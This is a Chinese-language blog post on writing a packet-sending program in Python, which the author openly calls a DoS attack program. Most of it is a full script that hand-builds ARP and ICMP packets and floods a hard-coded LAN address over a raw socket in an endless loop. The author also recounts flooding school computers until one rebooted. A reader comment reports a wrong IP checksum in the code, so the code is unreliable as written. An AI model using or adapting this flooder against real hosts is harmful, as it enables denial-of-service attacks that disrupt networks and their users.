2016年9月2日 星期五

用Python寫一個送封包的程式

標題打得很保守,實際標題取作「如何用Python寫一隻DOS攻擊程式」或許也OK
這一篇接在用Python寫一個簡單的Sniffer的後面
了解封包拆解的過程後,組封包也就沒那麼難以理解了
投影片一樣在Python 教育訓練課程

我在大學專題時,接觸了不少 DOS攻擊程式,其它還有木馬、蠕蟲等等
第一隻自已寫的DOS程式,一樣是使用 winpcap 寫的
當時除了是課程要求之外,實際上還為了測試網卡到底可以送多快
寫了一隻 ICMP Flooding,拿去學校電腦試引擎
記憶中好像是每秒可以打13萬左右,然後…電腦就重開機了…
學校的防火牆做得還不錯嘛…哼!

程式方面,因為時間不夠的關係
只寫了ARP和ICMP Flooding

原始碼
# -*- encoding: utf-8 -*-
from __future__ import print_function

import struct
import socket
import binascii
import sys

TESTCASE_ARP = 0
TESTCASE_ICMP = 1

Interface = "eno50332184"


def arp_generator():
    arp = arp_header('448a5b468c24', '192.168.20.131', '000000000000', '192.168.20.1')
    eth = eth_header('448a5b468c24', 'ffffffffffff', '0806')

    frame = [eth, arp]
    return b''.join(frame)


def icmp_generator(proto_base=socket.IPPROTO_RAW):
    payload = b"Hello World!"
    total_len = len(payload)

    # calc icmp checksum
    icmp_psh = icmp_header(0x08, 0x0, 0, 1, 1)
    icmp_check = checksum(icmp_psh + payload)
    icmp = icmp_header(0x08, 0x0, icmp_check, 1, 1)

    # Generate ICMP header only
    if proto_base == socket.IPPROTO_ICMP:
        return icmp + payload

    payload = icmp + payload
    total_len = len(payload)

    # calc ip checksum
    ip_psh = ip_header('192.168.20.1', '192.168.20.129', 0x01, id=0x1234)
    ip_check = checksum(ip_psh + payload)
    ip_total_length = 20 + total_len  # ip header default is 20, if no option
    ip = ip_header('192.168.20.1', '192.168.20.129', 0x01, id=0x1234, Checksum=ip_check, Total_Len=ip_total_length)

    payload = ip + payload
    total_len = len(payload)

    eth = eth_header('000c29c2f9a4', '10c37b914fc9', '0800')

    frame = [eth, payload]
    return b''.join(frame)


def checksum(data):
    length = len(data)
    s = 0
    n = length % 2

    # type(data) is bytes in python3
    if sys.version_info[0] > 2:
        for i in range(0, length - n, 2):
            s += data[i] + (data[i + 1] << 8)
        if n:
            s += data[-1]
    else: # type(data) is str, not bytes in python2
        for i in range(0, length - n, 2):
            s += ord(data[i]) + (ord(data[i + 1]) << 8)
        if n:
            s += ord(data[-1])

    while (s >> 16):
        s = (s & 0xFFFF) + (s >> 16)
    s = ~s & 0xffff

    return s


def arp_header(SMAC, SIP, DMAC, DIP, HTYPE=0x0001, PTYPE=0x0800, HLEN=0x06, PLEN=0x04, OPER=0x01):
    """Generate arp header
    HTYPE : Ethernet = 0x0001,
    PTYPE : IPv4 = 0x0800,
    HLEN  : IEEE 802 MAC addresses = 6,
    PLEN  : IPv4 = 4,
    OPER  : Request = 0x01; Reply = 0x02
    :return: arp header
    """
    return struct.pack("!HHBBH6s4s6s4s",
                       HTYPE, PTYPE, HLEN, PLEN, OPER,
                       binascii.a2b_hex(SMAC), socket.inet_aton(SIP),
                       binascii.a2b_hex(DMAC), socket.inet_aton(DIP))


def icmp_header(Type=0x08, Code=0, Checksum=0, id=0, seq=0):
    """Generate a ICMP header
    :param Type: Echo request = 0x08
    :param Code: 0
    :param Checksum:
    :return: icmp header
    """
    if Type == 0x08:
        return struct.pack("!BBHHH", Type, Code, socket.htons(Checksum), id, seq)
    else:
        return struct.pack("!BBH", Type, Code, socket.htons(Checksum))


def ip_header(SIP, DIP, proto, version=0x04, IHL=0x05, DiffServ=0, ECN=0, Total_Len = 0, id=0, Flags=0x02, Frag_offset=0, TTL=0xff, Checksum = 0):
    """Generate ip header
    Version     : 4,
    IHL         : Header length / 4
    DiffServ    : default is 0
    ECN         :
    Total length: 20 ~ 65535
    id          :
    Flags       : Dont Fragment (DF) = 0x02; More Fragments (MF) = 0x01
    Frag_Offset :
    TTL         : 0 ~ 255
    proto       : Define the protocol used in the data portion of the IP data
    checksum    :
    SIP         : source IP address
    DIP         : destination IP address
    :return: ip header
    """
    ip_ver_ihl = (version << 4) + (IHL & 0x0f)
    ip_serv_ecn = (DiffServ << 2) + (ECN & 0x03)
    ip_flag = (Flags << 13) + (Frag_offset & 0x1fff)
    return struct.pack("!BBHHHBBH4s4s",
                     ip_ver_ihl, ip_serv_ecn, Total_Len, id, ip_flag,
                     TTL, proto, socket.htons(Checksum),
                     socket.inet_aton(SIP), socket.inet_aton(DIP))


def eth_header(SMAC, DMAC, type):
    return struct.pack('!6s6s2s',
                       binascii.a2b_hex(DMAC), binascii.a2b_hex(SMAC),
                       binascii.a2b_hex(type))


def linux_main():
    rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)

    # Bind the interface, likes eth0
    rawSocket.bind((Interface, 0))

    if TESTCASE_ARP:
        # Generate a arp packet
        packet = arp_generator()
    elif TESTCASE_ICMP:
        # Generate a icmp packet
        packet = icmp_generator()
    else:
        print("No test case exist, quit")
        return

    # flooding here
    i = 0
    while True:
        i += 1
        print("\rSending {0}...".format(i), end='')
        rawSocket.send(packet)

    rawSocket.close()


def windows_main():
    if TESTCASE_ARP:
        return
    elif TESTCASE_ICMP:
        rawSocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)

        # Generate a icmp packet
        packet = icmp_generator(socket.IPPROTO_ICMP)
    else:
        print("No test case exist, quit")
        return

    # Bind a interface with public IP
    HOST = socket.gethostbyname(socket.gethostname())
    rawSocket.bind((HOST, 0))
    print("Bind a interface : {0}".format(HOST))

    # flooding here
    i = 0
    while True:
        i += 1
        print("\rSending {0}...".format(i), end='')
        rawSocket.sendto(packet, ('192.168.20.129', 0))

    rawSocket.close()


if __name__ == '__main__':
    if sys.platform.lower().startswith("win"):
        windows_main()
    else:
        linux_main()

老實說,寫得沒有很好
本來是想寫成class,然後用繼承的方式
以後再說唄

1 則留言:

  1. 板主你好,謝謝你的程式碼有幫助到我,所以我決定也來貢獻一點我的發現。我發現你的ICMP中IP層的checksum算錯,原因是line 40沒有先把ip_total_length加進去一起算checksum,導致結果不正確。

    另外IP層計算checksum時,其實是不需要把他的payload一起丟進去算的,所以line 41寫成 ip_check = checksum(ip_psh)其實就可以了。至於為什麼結果還是會對,原因很簡單,因為payload的部份已經把checksum算好放進去,所以他的sum會是0x0000,不影響line 41的結果。

    感謝

    回覆刪除